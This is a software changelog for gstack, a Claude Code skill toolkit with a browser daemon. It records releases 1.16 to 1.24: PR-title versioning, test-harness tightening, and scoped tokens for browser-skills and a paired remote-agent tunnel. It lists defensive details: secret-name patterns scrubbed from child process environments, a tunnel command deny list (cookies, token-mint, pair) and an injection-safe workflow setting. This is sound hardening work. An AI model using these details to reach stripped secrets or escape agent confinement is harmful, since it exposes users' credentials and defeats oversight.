docs/skills.md: added 11 missing skills to the inventory table (/plan-devex-review, /devex-review, /plan-tune, /context-save, /context-restore, /health, /landing-report, /benchmark-models, /pair-agent, /setup-gbrain, /make-pdf).

package.json: 2 new scripts. test:free runs the full free suite via the sharding script. test:windows runs the curated Windows-safe subset. Version bump 1.15.0.0 → 1.24.0.0.

VERSION: 1.15.0.0 → 1.24.0.0. Workspace-aware queue at /ship time: v1.16.0.0 claimed by garrytan/gbrowser-unleashed (PR #1253), v1.17.0.0 by garrytan/setup-gbrain-run (PR #1234), v1.19.0.0 by garrytan/browserharness (PR #1233), v1.21.1.0 by garrytan/pty-plan-mode-e2e (PR #1255). This branch claims the next available MINOR slot.

Fixed

GSTACK_CLAUDE_BIN=wsl (or any PATH-resolvable command) now actually resolves the binary. The McGluut fork's claude-bin.ts only handled absolute-path overrides; bare commands silently returned null. The Bun.which-based wrapper feeds the override through PATH lookup, fixing the documented use case.

The <5s bun test claim in AGENTS.md is gone. With the slim-preamble harness from v1.15.0.0 plus the new tests added here, free-suite runtime varies; no realistic universal claim to make.

Follow-up TODOs (codex-flagged, deferred)

Merge-time version-slot freshness recheck. Current bin/gstack-next-version + scripts/compare-pr-version.ts queue protection triggers on PR events touching version files. If another PR lands AFTER our gate fires, our claimed slot can go stale without an automatic recheck. P3 follow-up.

POSIX-bound test surfaces for full Windows parity. 25 tests are excluded from the curated Windows lane via the WINDOWS_FRAGILE_PATTERNS scan in scripts/test-free-shards.ts. Concrete examples: test/ship-version-sync.test.ts:72 hardcodes /bin/bash, test/helpers/providers/claude.ts:22 (now fixed in this release), package.json:12 build step shells out to bash/chmod. Porting these is the gap between "curated Windows lane" and "full Windows parity." P4 follow-up.

Native PowerShell setup support. setup is bash + symlink heavy at setup:404. v1.24.0.0 documents Git Bash / MSYS as the supported Windows install path in AGENTS.md. A native PowerShell port closes the last off-the-shelf-for-Windows gap. P4 follow-up.

For contributors

Hardening direction credited to the McGluut fork: https://github.com/mcgluut/gstack. The Bun.which-based resolver is upstream's adaptation of the cross-platform binary lookup the fork implemented in claude-bin.ts; the path-portability helper is upstream's factoring of the ${CLAUDE_PLUGIN_DATA:-...} chain the fork inlined per-skill. The curated Windows test job is upstream's reading of what test-free-shards.ts was reaching toward, applied with explicit attention to which surfaces are actually Windows-safe today.

[1.23.0.0] - 2026-04-30

Every PR title now starts with vX.Y.Z.W. /ship, /document-release, and the GitHub Action all enforce it.

The format was already documented in /ship Step 19, but a "leave custom titles alone" loophole meant a PR opened without a version prefix would never get one — and /document-release never touched the title at all, so a doc-release VERSION bump silently left the PR pointing at the old version. This release closes both gaps. The rule lives in one place now (bin/gstack-pr-title-rewrite.sh), all three callers shell out to it, and a free bun test locks in the four branches.

The numbers that matter

Numbers come from git diff --shortstat origin/main..HEAD and bun test test/pr-title-rewrite.test.ts on a clean tree.

Metric Δ

Net branch size vs main +210 / −36 lines (5 files + 2 new)

New helper script bin/gstack-pr-title-rewrite.sh (40 lines, single source of truth)

New unit tests added +9 (test/pr-title-rewrite.test.ts)

Unit suite runtime 402ms (free-tier, runs on every push)

Loopholes closed 3 (ship Step 19, document-release Step 9, pr-title-sync.yml)

Reviewers run on this PR plan-eng-review (CLEARED) + adversarial (Claude subagent)

What this means for builders

PR titles are now a deterministic function of the VERSION file, no matter how the PR got created. Open one via the web UI with feat: my thing and the next push of a VERSION bump turns it into v1.23.0.0 feat: my thing. Run /ship from a stale branch where Step 12's queue-drift detection rebumps to a higher version and the title moves with it. Run /document-release, bump VERSION at Step 8, and the PR title now follows along instead of staying at the previous version.

The helper itself rejects malformed VERSION values (anything outside ^[0-9]+(\.[0-9]+)*$) with exit code 2, uses a literal case prefix match instead of bash's pattern-matching # operator (so a hypothetical VERSION containing glob metacharacters can't silently mismatch), and is idempotent — applying it twice yields the same result.

Itemized changes

Added

bin/gstack-pr-title-rewrite.sh: shared helper. Takes <NEW_VERSION> + <CURRENT_TITLE>, prints the corrected title on stdout. Three cases: already correct (no-op), different version prefix (replace), no prefix (prepend). Validates NEW_VERSION shape at entry. Used by /ship, /document-release, and the GitHub Action.

test/pr-title-rewrite.test.ts: 9 deterministic tests covering already-correct, different-prefix, different-prefix-length, no-prefix, plain-words-not-stripped, single-segment-not-stripped, missing-args, malformed-VERSION rejection, and idempotence. Free-tier, runs on every bun test.

Changed

ship/SKILL.md.tmpl Step 19: idempotency block now always rewrites titles to start with v$NEW_VERSION — no more "custom title kept intentionally" escape hatch. Shells out to bin/gstack-pr-title-rewrite.sh for the rule. Adds a post-edit self-check that re-fetches the title and retries once if the edit didn't stick.

ship/SKILL.md.tmpl create-PR snippets (lines 867 and 876): inline comment makes the v$NEW_VERSION requirement unmissable when reading the step.

document-release/SKILL.md.tmpl Step 9: new "PR/MR title sync" sub-step calls the same helper after the body update. Catches the case where Step 8 bumped VERSION after /ship had already created the PR — title follows VERSION instead of going stale.

.github/workflows/pr-title-sync.yml: drops the "eligible only if already prefixed" gate. Sources the helper, rewrites unconditionally on every VERSION change. Defense-in-depth backstop for PRs opened outside the skills (manual gh pr create, web UI). Uses env: for OLD_TITLE so YAML expression injection can't reach run:.

For contributors

The helper is a regular bin/ script with set -euo pipefail, no external deps beyond bash + sed. Slots into the existing pattern alongside bin/gstack-config, bin/gstack-slug, bin/gstack-next-version.

Test coverage gates this — any future change to the rule has to update the test fixtures or the suite goes red.

[1.21.1.0] - 2026-04-28

plan-ceo-review smoke tightens. The "agent skips Step 0 and ships a plan" regression now fails the gate.

The v1.15.0.0 real-PTY harness shipped with a smoke that accepted either 'asked' or 'plan_ready' as success. That OR was too lax for /plan-ceo-review specifically: the skill template mandates Step 0A premise challenge plus Step 0F mode selection BEFORE any plan write, so reaching plan_ready first IS the regression. This release tightens the assertion to 'asked' only for that smoke, and refactors the runner so the contract is testable in <1s instead of $0.50 of stochastic PTY.

The numbers that matter

Numbers come from git diff --shortstat origin/main..HEAD and bun test test/helpers/claude-pty-runner.unit.test.ts on a clean tree.

Metric Δ

Net branch size vs main +162 / −65 lines (3 files)

New unit tests added +24 (claude-pty-runner.unit.test.ts)

Unit suite runtime 14ms (deterministic, free-tier)

Real-PTY gate runs verified 4 clean PTY runs (3 lock-in + 1 post-refactor)

Outcome assertions covered 5/5 (was 3/5; plan_ready is now FAIL for plan-ceo)

Reviewers run on this PR plan-eng-review (CLEARED) + codex consult + 2 specialists + adversarial

What this means for builders

Three new classes of harness regression are now caught deterministically in the free tier instead of waiting on a $0.50 stochastic PTY run. The classifier is extracted into a pure classifyVisible() function so reordering branches in the polling loop fails the unit tests instead of silently shipping. Permission dialogs (which render numbered lists) are filtered out of the 'asked' classification so a permission prompt cannot pose as a Step 0 skill question. The bare phrase Do you want to proceed? no longer triggers permission detection on its own — it now requires a file-edit context co-trigger, so a skill question that contains the phrase isn't mis-classified.

For /plan-ceo-review specifically: any future preamble slim-down or template edit that lets the agent skip Step 0 and write a plan will fail the gate before the PR ships. Pull, run bun test, and the harness layer is provably tighter without you having to spend a token.

Itemized changes

Added

test/helpers/claude-pty-runner.unit.test.ts: 24 deterministic tests covering isPermissionDialogVisible (with the new co-trigger contract), isNumberedOptionListVisible, parseNumberedOptions, and the new classifyVisible() runtime path. Free-tier, runs on every bun test.

classifyVisible(visible) in claude-pty-runner.ts: pure classifier extracted from the polling loop. Returns { outcome, summary } | null. Branch order: silent_write → plan_ready → asked → null (with permission-dialog filter). Live-state branches (process exited, "Unknown command") stay in the runner.

TAIL_SCAN_BYTES = 1500 exported constant. Shared between runPlanSkillObservation and the routing test's nav loop so tuning stays in sync.

env?: Record<string, string> option on runPlanSkillObservation, threaded to launchClaudePty. Plumbing for future env-driven test isolation (gstack-config does not yet honor env overrides; tracked as post-merge follow-up).

Changed

test/skill-e2e-plan-ceo-plan-mode.test.ts: assertion narrowed from ['asked', 'plan_ready'] to 'asked' only. Failure message now branches on outcome (plan_ready vs timeout vs silent_write) with a tailored diagnosis line, and references skill-template section names instead of line numbers (durable to template edits).

isPermissionDialogVisible: bare Do you want to proceed? now requires a file-edit context co-trigger (Edit to <path> or Write to <path>). Other clauses (requested permissions to, allow all edits, always allow access to, Bash command requires permission) remain unconditional.

test/skill-e2e-plan-ceo-mode-routing.test.ts: replaces the local 1500 magic number with the shared TAIL_SCAN_BYTES constant.

For contributors

The runner change is additive and the existing sibling smokes (plan-eng, plan-design, plan-devex, plan-mode-no-op) keep their loose ['asked', 'plan_ready'] assertion. Their behavior is unchanged.

Post-merge follow-ups captured in TODOS.md: per-finding AskUserQuestion count assertion (V2), env-driven gstack-config overrides (so QUESTION_TUNING=false actually isolates the test), path-confusion hardening on SANCTIONED_WRITE_SUBSTRINGS.

[1.20.0.0] - 2026-04-28

Browser-skills land. /scrape <intent> first call drives the page; second call runs the codified script in 200ms.

Browser-skills are deterministic Playwright scripts that run as standalone Bun processes via $B skill run. They live in three storage tiers (project > global > bundled), get a per-spawn scoped capability token, and ship with _lib/browse-client.ts so each skill is fully self-contained. The bundled reference is hackernews-frontpage — try $B skill run hackernews-frontpage and you get the HN front page as JSON in 200ms.

The agent authors them. /scrape <intent> is the single entry point for pulling page data — it matches existing skills via the triggers: array on first call, or drives $B goto/$B html/etc. on a brand-new intent and returns JSON. After a successful prototype, /skillify codifies the flow: it walks back through the conversation, extracts the final-attempt $B calls (no failed selectors, no chat fragments), synthesizes script.ts + script.test.ts + a captured fixture, stages everything to ~/.gstack/.tmp/skillify-<spawnId>/, runs the test there, and asks before renaming into the final tier path. Test failure or rejection: rm -rf the temp dir, no half-written skill ever appears in $B skill list. Next /scrape with a matching intent routes via $B skill list + $B skill run <name>. ~30s prototype becomes ~200ms forever after.

Mutating-flow sibling /automate is tracked as P0 in TODOS.md for the next release. Scraping is the safer wedge to validate the skillify pattern (failure mode: wrong data); mutating actions need the per-step confirmation gate that /automate adds on top.

The architecture sidesteps the in-daemon isolation problem by running skill scripts outside the daemon as standalone Bun processes. Each script gets a per-spawn scoped capability token bound to the read+write command surface; the daemon root token never leaves the harness. Two token policies share the same registry but enforce independently: tabPolicy: 'shared' (default for skill spawns) is permissive on tab access — a skill can drive any tab, gated only by scope checks and rate limits. tabPolicy: 'own-only' (pair-agent over the ngrok tunnel) is strict — the token can only access tabs it owns, must newtab first to get a tab to drive, can't reach the user's natural tabs. Trust boundaries are at the daemon, not in process-side env scrubbing.

What you can now do

Run a bundled skill: $B skill run hackernews-frontpage returns JSON.

Scrape with one verb: /scrape latest hacker news stories. First call matches the bundled skill via the triggers: array and runs in 200ms. New intent? It prototypes via $B, returns JSON, and suggests /skillify.

Codify a prototype: /skillify walks back through the conversation, finds the last /scrape result, synthesizes the script + test + fixture, stages to a temp dir, runs the test, and asks before committing to ~/.gstack/browser-skills/<name>/.

List what's available: $B skill list walks three tiers (project > global > bundled) and prints the resolved tier inline.

Test a skill against a fixture: $B skill test hackernews-frontpage runs the bundled script.test.ts against a captured HTML snapshot, no live network.

Read a skill's contract: $B skill show hackernews-frontpage prints SKILL.md.

Tombstone a user-tier skill: $B skill rm <name> [--global] moves it to .tombstones/<name>-<ts>/. Bundled skills are read-only.

The numbers that matter

Source: 155 unit assertions across browse/test/{skill-token,browse-client,browser-skills-storage,browser-skill-commands,browser-skill-write,tab-isolation,server-auth}.test.ts, browser-skills/hackernews-frontpage/script.test.ts, and test/skill-validation.test.ts. Plus 5 gate-tier E2E scenarios in test/skill-e2e-skillify.test.ts. All free-tier tests pass in under two seconds; the gate-tier E2E adds ~$5 to a CI run.

Surface Shape

Latency on a codified intent ~200ms (vs ~30s prototype on first call)

New $B command skill (5 subcommands: list, show, run, test, rm)

New gstack skills 2 (/scrape, /skillify); /automate tracked as P0 in TODOS

New modules 5 (browse-client.ts, browser-skills.ts, browser-skill-commands.ts, skill-token.ts, browser-skill-write.ts)

Bundled reference skills 1 (hackernews-frontpage)

Storage tiers 3 (project > global > bundled, first-wins)

SDK distribution model sibling-file: each skill ships _lib/browse-client.ts (~3KB, byte-identical to canonical)

Daemon-side capability default scoped session token, read+write only (no eval/js/cookies/storage)

Process-side env default scrubbed: drops $HOME, $PATH user-paths, anything matching TOKEN/KEY/SECRET, AWS_, OPENAI_, GITHUB_*, etc.

Tab access policy 'shared' (skill spawns) = permissive, gated by scope only. 'own-only' (pair-agent tunnel) = strict ownership for every read + write.

Atomic-write contract temp-dir-then-rename via browse/src/browser-skill-write.ts. Test fail OR approval reject = rm -rf the temp dir. Never a half-written skill on disk.

What this means for builders

The compounding loop is closed. The first time you ask the agent to scrape a page, it pays the prototype cost. The second time on the same intent (rephrased or not), it runs the codified script in 200ms. Multiply across every recurring data-pull task you have, release-notes scraping, leaderboard checks, dashboard captures, and the time savings compound across sessions.

The agent-authoring contract is tight: /skillify extracts only the final-attempt $B calls from the conversation (no failed selectors, no chat fragments leak into the on-disk artifact), writes to a temp dir, runs the auto-generated script.test.ts there, and only commits on test pass + your approval. If anything fails, the temp dir vanishes, no broken skill ever appears in $B skill list.

Mutating flows (form fills, click sequences, multi-step automations) ship next as /automate (P0 in TODOS.md). Same skillify machinery, different trust profile: per-mutating-step confirmation gate when running non-codified, unattended once committed. Scraping's failure mode is benign (wrong data) and mutation's isn't (unintended writes); the staged rollout validates the skillify pattern with the safer half first.

Pair-agent operators get the same isolation guarantees they had before. The dual-listener tunnel architecture is intact: a remote agent over ngrok can't read or write tabs the local user is using. Tunnel tokens get tabPolicy: 'own-only', must newtab first to drive a tab, and only the 26-command tunnel allowlist is reachable.

Itemized changes

Added — $B skill runtime

$B skill list|show|run|test|rm <name?>. Five subcommands. List walks 3 tiers (project > global > bundled) and prints the resolved tier inline so "why did it run that one?" is never a debugging mystery. Run mints a per-spawn scoped capability token, spawns bun run script.ts -- <args> with cwd locked to the skill dir, captures stdout (1MB cap) and stderr, and revokes the token on exit.

browse/src/browse-client.ts. Canonical SDK (~250 LOC). Reads GSTACK_PORT + GSTACK_SKILL_TOKEN from env first (set by $B skill run), falls back to <project>/.gstack/browse.json for standalone debug runs. Convenience methods cover the read+write surface: goto, click, fill, text, html, snapshot, links, forms, accessibility, attrs, media, data, scroll, press, type, select, wait, hover, screenshot. Low-level command(cmd, args) escape hatch for anything else.

browse/src/browser-skills.ts. Three-tier storage helpers. listBrowserSkills() walks project > global > bundled (first-wins), parses SKILL.md frontmatter, no INDEX.json. readBrowserSkill(name) does the same for a single name. tombstoneBrowserSkill(name, tier) moves a skill into .tombstones/<name>-<ts>/ for recoverability.

browse/src/skill-token.ts. Wraps token-registry.createToken/revokeToken with skill-specific clientId encoding (skill:<name>:<spawn-id>), read+write defaults, and tabPolicy: 'shared'. TTL = spawn timeout + 30s slack.

browser-skills/hackernews-frontpage/. Bundled reference skill (SKILL.md, script.ts, _lib/browse-client.ts, fixtures/hn-2026-04-26.html, script.test.ts). Smallest interesting browser-skill: scrapes HN front page, returns 30 stories as JSON, no auth, stable HTML.

Added — /scrape + /skillify gstack skills

scrape/SKILL.md.tmpl + generated scrape/SKILL.md. /scrape <intent> is one entry point with three paths: match (intent matches an existing skill's triggers: → $B skill run <name> in 200ms), prototype (drive $B primitives, return JSON, suggest /skillify), refusal (mutating intents route to /automate). Match decision lives in the agent, not the daemon, no new code in browse/src/, no expanded daemon command surface.

skillify/SKILL.md.tmpl + generated skillify/SKILL.md. 11-step flow: provenance guard (walk back ≤10 turns for a bounded /scrape result, refuse if cold), name + tier + trigger proposal via AskUserQuestion, synthesize script.ts from final-attempt $B calls only, capture fixture, write script.test.ts, copy canonical SDK byte-identical to _lib/browse-client.ts, write SKILL.md frontmatter (source: agent, trusted: false), stage to temp dir, run $B skill test, approval gate, atomic rename to final tier path.

browse/src/browser-skill-write.ts. Atomic-write helper. stageSkill() writes files to ~/.gstack/.tmp/skillify-<spawnId>/<name>/ with restrictive perms. commitSkill() does an atomic fs.renameSync into the final tier path with realpath/lstat discipline (refuses to follow symlinked staging dirs, refuses to clobber existing skills). discardStaged() is the cleanup path for test failures and approval rejections. rm -rf is idempotent and bounded to the per-spawn wrapper. validateSkillName() enforces lowercase letters/digits/dashes only, no .. or path-escape characters.

Trust model — scoped tokens

Every spawned skill gets its own scoped token. The shape:

Capability scope. Read + write only by default. No eval, js, cookies, storage. Single-use clientId encodes skill name + spawn id. Revoked when the spawn exits or times out (TTL = timeout + 30s slack).

Process env. trusted: true frontmatter passes process.env minus GSTACK_TOKEN. trusted: false (default) drops everything except a minimal allowlist (LANG, LC_ALL, TERM, TZ) and pattern-strips secrets (TOKEN/KEY/SECRET/PASSWORD/AWS_/ANTHROPIC_/OPENAI_/GITHUB_).

Tab access policy. tabPolicy: 'shared' (skill spawns, default scoped clients): permissive, can read or write any tab, gated only by scope checks + rate limits. tabPolicy: 'own-only' (pair-agent over the tunnel): strict, the token can only access tabs it owns. The two policies enforce independently in browser-manager.ts:checkTabAccess. The capability gate already constrains what shared tokens can do; tab ownership only matters for pair-agent isolation.

Changed

browse/src/commands.ts registers skill as a META command.

browse/src/server.ts threads the local listen port (LOCAL_LISTEN_PORT) to meta-command dispatch so $B skill run knows which port to point spawned scripts at. The tab-ownership gate predicate at the dispatcher fires for tabPolicy === 'own-only' only; shared tokens skip it.

browse/src/browser-manager.ts:checkTabAccess keys on options.ownOnly. Shared tokens and root pass unconditionally; own-only tokens require ownership for every read and write.

browse/src/meta-commands.ts dispatches skill to handleSkillCommand.

BROWSER.md rewritten to a complete reference: 1,299 lines, 26 sections covering the productivity loop, browser-skills runtime, domain-skills, pair-agent dual-listener, sidebar agent + terminal PTY, security stack L1-L6, full source map.

docs/designs/BROWSER_SKILLS_V1.md adds the design for the productivity loop's four contracts (provenance guard, synthesis input slice, atomic write, full test coverage). Phase table organized into 1, 2a, 2b, 3, 4.

TODOS.md lists /automate as P0 above the existing PACING_UPDATES_V0 entry.

Tests

browse/test/browser-skill-write.test.ts — 34 assertions covering the atomic-write contract: stage validation, file-path escape rejection, atomic rename, clobber refusal, symlink refusal, idempotent discard, end-to-end happy + failure paths.

browse/test/tab-isolation.test.ts — 9 assertions on checkTabAccess with explicit shared-vs-own-only coverage: shared agents can read/write any tab; own-only agents can only access their own claimed tabs.

browse/test/server-auth.test.ts — source-shape regression that fails if a future refactor reintroduces WRITE_COMMANDS.has(command) || into the tab-ownership gate predicate.

test/skill-validation.test.ts extends to cover bundled browser-skills: each must have SKILL.md + script.ts + _lib/browse-client.ts (byte-identical to canonical) + script.test.ts, with frontmatter satisfying the host/triggers/args contract.

test/skill-e2e-skillify.test.ts — 5 gate-tier E2E scenarios (claude -p driven, deterministic against local file:// fixtures): match path routes to bundled skill, prototype path drives $B and emits JSON, skillify happy writes complete skill tree, provenance refusal leaves nothing on disk, approval-gate reject removes the temp dir.

test/helpers/touchfiles.ts registers all 5 new E2E entries with deps on scrape/**, skillify/**, browse/src/browser-skill-write.ts, plus the runtime modules.

For contributors

The browser-skill SKILL.md frontmatter has a hard contract enforced by parseSkillFile() and test/skill-validation.test.ts. Required: host (string), triggers (string list), args (mapping list). Optional: trusted (bool, defaults false), version, source (human/agent), description.

The canonical SDK at browse/src/browse-client.ts and the sibling at browser-skills/hackernews-frontpage/_lib/browse-client.ts MUST be byte-identical. The skill-validation test fails the build otherwise. When the canonical SDK changes, update every bundled skill's _lib/ copy. Agent-authored skills via /skillify get a freshly-copied SDK at synthesis time, so they're frozen at the version they were authored against (no drift possible).

The atomic-write helper enforces "no half-written skills." Always call stageSkill → run tests → commitSkill (success) OR discardStaged (failure). Never write directly to the final tier path. The helper's validateSkillName is the only naming gate, keep it tight (lowercase letters/digits/dashes, ≤64 chars, no consecutive dashes, no leading digit).

checkTabAccess policy: ownOnly is the only signal that constrains access. isWrite stays in the signature for callers that want to log or branch elsewhere, but doesn't gate the decision. Adding new policy axes (e.g., per-skill tab quotas) belongs in docs/designs/, not as a sneaky isWrite overload.

/automate and the Phase 4 follow-ups (Bun runtime distribution, OS FS sandbox, fixture-staleness detection) are tracked in docs/designs/BROWSER_SKILLS_V1.md and TODOS.md. The /automate skill reuses /skillify and browser-skill-write.ts as-is; new code is the per-mutating-step confirmation gate.

[1.17.0.0] - 2026-04-26

Your gstack memory now actually lives in gbrain.

For everyone who ran /setup-gbrain in the last month and noticed gbrain search couldn't find their CEO plans, learnings, or retros: that's because Step 7 wrote a placeholder consumers.json with status: "pending" and called it done. The HTTP endpoint that placeholder pointed at was never built on the gbrain side. This release scraps that approach and uses the gbrain v0.18.0 federation surface (gbrain sources + gbrain sync) instead.

After upgrading, /setup-gbrain adds a git worktree of your brain repo, registers it as a federated source on your gbrain (Supabase or PGLite), and runs an initial sync. Subsequent gstack skill end-of-run cycles also run gbrain sync so new artifacts land in the index automatically. Local-Mac only. No cloud agent required. /gstack-upgrade runs a one-shot migration for existing users.

Verify after upgrade

gbrain sources list --json | jq '.sources[] | {id, page_count, federated}' # Expect: two entries, your default brain plus a "gstack-brain-{user}" # entry, both federated=true. gbrain search "ethos" --source gstack-brain-{user} | head -5 # Expect: hits from your gstack repo content (readme, ethos, designs, etc).
What shipped

bin/gstack-gbrain-source-wireup is the new helper. It derives a per-user source id from ~/.gstack/.git's origin URL (with multi-fallback to ~/.gstack-brain-remote.txt and a --source-id flag), creates a detached git worktree at ~/.gstack-brain-worktree/, registers it as a federated source on gbrain, runs initial backfill, and supports --strict (Step 7 strictness), --uninstall (full teardown including future-launchd plist), and --probe (read-only state inspection). All idempotent. The helper depends on jq (transitive via gstack-gbrain-detect).

The helper locks the database URL at startup (precedence: --database-url flag > GBRAIN_DATABASE_URL/DATABASE_URL env > read once from ~/.gbrain/config.json) and exports it as GBRAIN_DATABASE_URL for every child gbrain invocation. This means external rewrites of ~/.gbrain/config.json mid-sync (e.g., a concurrent gbrain init --non-interactive running in another workspace) cannot redirect the wireup at a different brain. Per gbrain's loadConfig(), env-var URLs override the file. Step 7 of /setup-gbrain reads the URL out of config.json once and passes it explicitly via --database-url, so the wireup is robust against config flips during the seconds-to-minutes sync window.

/setup-gbrain Step 7 now invokes the helper with --strict after gstack-brain-init. /gstack-upgrade invokes the helper without --strict via gstack-upgrade/migrations/v1.12.3.0.sh so missing/old gbrain is a benign skip during batch upgrade. bin/gstack-brain-restore invokes the helper after the initial clone so a 2nd Mac gets the wireup automatically. bin/gstack-brain-uninstall invokes --uninstall plus removes legacy consumers.json.

bin/gstack-brain-init drops 60 lines of dead consumer-registration code (the HTTP POST block, the consumers.json writer, the chore commit). bin/gstack-brain-restore drops the 18-line consumers.json token-rehydration block (the only consumer that used it never had real tokens). bin/gstack-brain-consumer is marked deprecated in its header docstring; removal in v1.18.0.0 after one cycle of grace.

test/gstack-gbrain-source-wireup.test.ts is new: 13 unit tests with a fake gbrain binary on $PATH covering fresh-state registration, idempotent re-runs, drift recovery (gbrain has no sources update, only remove + add), --strict failure modes, source-id fallback chain (.git → remote-file → flag), --probe non-mutation, sync errors, and --uninstall.

The numbers that matter

These are reproducible on any machine after upgrade. Run the verify commands above to see your own delta.

Metric Before (v1.16.0.0) After (v1.17.0.0)

gbrain sources list size 1 (default /data/brain) 2 (default + gstack-brain-{user})

consumers.json status "pending", ingest_url "" file deleted from new installs

Manual steps to wire up 4 (clone + sources add + sync + cron) 0, automatic in Step 7

Helper test coverage 0 unit tests 13 unit tests (bun test test/gstack-gbrain-source-wireup.test.ts)

bin/gstack-brain-init size 363 lines 300 lines (60 lines of dead code removed)

Local Mac is the producer of artifacts and the worktree advances automatically with ~/.gstack/'s commits. Cross-machine sync runs through GitHub via the existing gstack-brain-sync --once push hook. No new cron infrastructure needed today; when gbrain v0.21 code-graph features ship, the helper's --enable-cron flag is a clean extension.

What this means for builders

Your gstack memory is searchable now. Run a CEO plan review or office-hours session, sync runs at skill-end automatically, and gbrain search finds the plan content from any gbrain client (this Claude Code session, future Macs, optional cloud agents like OpenClaw). One source of truth across machines. The placeholder is dead.

For contributors

bin/gstack-brain-consumer is deprecated in this release; removal in v1.18.0.0.

The gbrain_url and gbrain_token config keys are now no-ops. They remain readable for one cycle for back-compat, removed in v1.18.0.0.

Three pre-existing test failures on this branch (gstack-config gbrain keys > GSTACK_HOME overrides real config dir, no compiled binaries in git > git tracks no files larger than 2MB, Opus 4.7 overlay — pacing directive) were verified to fail on the base branch too. Out of scope for this PR; flagged for a follow-up.

[1.16.0.0] - 2026-04-28

Paired-agent tunnel allowlist now matches what the docs already promised. Catch-22 resolved, gate is unit-testable.

The visible bug: a paired remote agent over the ngrok tunnel hit 403s on newtab, tabs, goto-on-existing-tab, and a chain of other commands the operator docs claimed worked. The hidden bug: the v1.6.0.0 TUNNEL_COMMANDS allowlist was set at 17 entries while docs/REMOTE_BROWSER_ACCESS.md, browse/src/cli.ts:546-586, and the operator-facing instruction blocks all documented 26. The shipped allowlist drifted from the design intent silently for releases. This release closes the gap: 9 commands added (newtab, tabs, back, forward, reload, snapshot, fill, url, closetab), each bounded by the existing per-tab ownership check at server.ts:613-624. Scoped tokens default to tabPolicy: 'own-only', so a paired agent still can't navigate, fill, or close on tabs it doesn't own — same isolation as before, just covering more verbs.

The numbers that matter

Branch totals come from git diff --shortstat origin/main..HEAD. Test counts come from bun test browse/test/dual-listener.test.ts browse/test/tunnel-gate-unit.test.ts browse/test/pair-agent-tunnel-eval.test.ts browse/test/pair-agent-e2e.test.ts against the merged tree.

Metric Δ

Tunnel allowlist size 17 → 26 commands (+53%)

Catch-22 resolution newtab → goto → back chain works for the first time

Gate testability inline regex check → pure exported canDispatchOverTunnel() function

New unit-test coverage 53 expects in tunnel-gate-unit.test.ts (allowed, blocked, null/undefined/non-string, alias canonicalization)

New behavioral coverage 4 tests in pair-agent-tunnel-eval.test.ts running BOTH listeners locally (no ngrok)

Source-level guard exact-set equality against the 26-command literal + ownership-exemption regex

All free tests 69 pass / 0 fail on the four touched test files

Codex review passes 2 outside-voice rounds during plan mode, 6 of 7 findings incorporated

What this means for users running paired agents

Three things change immediately. First, paired agents can actually open and drive their own tab without hitting the catch-22 the prior allowlist created. newtab succeeds (the ownership-exemption at server.ts:613 was always there, but the allowlist gated the entry); goto, back, forward, reload, fill, closetab all work on the just-created tab; snapshot, url, tabs give the agent the read-side surface needed to be useful. Second, the tunnel-surface gate is unit-testable now — canDispatchOverTunnel(command) is pure, exported from browse/src/server.ts, and covered by 53 expects. A future refactor that decouples the allowlist literal from the gate logic fails a free test in milliseconds. Third, pair-agent-tunnel-eval.test.ts exercises the gate end-to-end with BOTH the local and tunnel listeners bound on 127.0.0.1 (no ngrok required) so the routing decision — "this request hit the tunnel listener, run the gate; this one hit the local listener, skip the gate" — is asserted on every PR. The new BROWSE_TUNNEL_LOCAL_ONLY=1 env var binds the second listener locally without invoking ngrok, gated to no-op outside test mode. Production tunnel still requires BROWSE_TUNNEL=1 + a valid NGROK_AUTHTOKEN.

Itemized changes

Added

9 new commands in browse/src/server.ts:111-120 TUNNEL_COMMANDS set: newtab, tabs, back, forward, reload, snapshot, fill, url, closetab. The set is now exported so tests can reference the literal directly.

canDispatchOverTunnel(command: string | undefined | null): boolean in browse/src/server.ts — pure exported function. Handles non-string input, runs canonicalizeCommand for alias resolution, returns TUNNEL_COMMANDS.has(canonical).

BROWSE_TUNNEL_LOCAL_ONLY=1 env var in browse/src/server.ts:2080-2104. Test-only sibling branch to BROWSE_TUNNEL=1 that binds the second Bun.serve listener via makeFetchHandler('tunnel') without invoking ngrok. Persists tunnelLocalPort to the state file for the eval to read.

browse/test/tunnel-gate-unit.test.ts: 53 expects covering all 26 allowed commands, 20 blocked commands (pair, unpair, cookies, setup, launch, restart, stop, tunnel-start, token-mint, etc.), null/undefined/empty/non-string defensive handling, and alias canonicalization (e.g. set-content resolves to load-html and is correctly rejected since load-html isn't tunnel-allowed).

browse/test/pair-agent-tunnel-eval.test.ts: 4 behavioral tests that spawn the daemon under BROWSE_HEADLESS_SKIP=1 BROWSE_TUNNEL_LOCAL_ONLY=1, bind both listeners on 127.0.0.1, mint a scoped token via the existing /pair → /connect ceremony, and assert: (1) newtab over the tunnel passes the gate; (2) pair over the tunnel 403s with disallowed_command:pair AND writes a fresh denial-log entry to ~/.gstack/security/attempts.jsonl; (3) pair over the local listener does NOT trigger the tunnel gate; (4) regression test for the catch-22 — newtab followed by goto on the resulting tab does not 403 with Tab not owned by your agent.

Changed

browse/test/dual-listener.test.ts: must-include + must-exclude assertions replaced with one exact-set-equality test against the 26-command literal. The intersection-only style of the prior tests let new commands sneak into the source without a corresponding test update — the bidirectional check catches it both ways. Added a regex assertion that the command !== 'newtab' ownership-exemption clause at server.ts:613 still exists (catches refactors that re-introduce the catch-22 from the other side).

browse/test/dual-listener.test.ts: /command handler test updated to assert the inline TUNNEL_COMMANDS.has(cmd) check is now canDispatchOverTunnel(body?.command) — proves the gate is delegated to the pure function and not duplicated.

docs/REMOTE_BROWSER_ACCESS.md:35,168: bumped "17-command allowlist" to "26-command allowlist". Corrected the denied-commands list (removed eval, which IS in the allowlist; the prior doc was wrong).

CLAUDE.md: bumped the transport-layer security section's "17-command browser-driving allowlist" reference to "26-command".

For contributors

The plan was reviewed under /plan-eng-review plus 2 sequential codex outside-voice passes during plan mode. Round-1 codex caught a doc-target mistake (we were going to update SIDEBAR_MESSAGE_FLOW.md instead of REMOTE_BROWSER_ACCESS.md) and a wrong-layer test design. Round-2 codex caught that the round-1 correction was still wrong (the chosen test harness only binds the local listener) AND that the docs promised 6 more commands than the allowlist had. All 6 of 7 substantive findings landed in the implementation; the 7th (a pre-existing /pair-agent /health probe mismatch at cli.ts:656-668) is logged as out of scope.

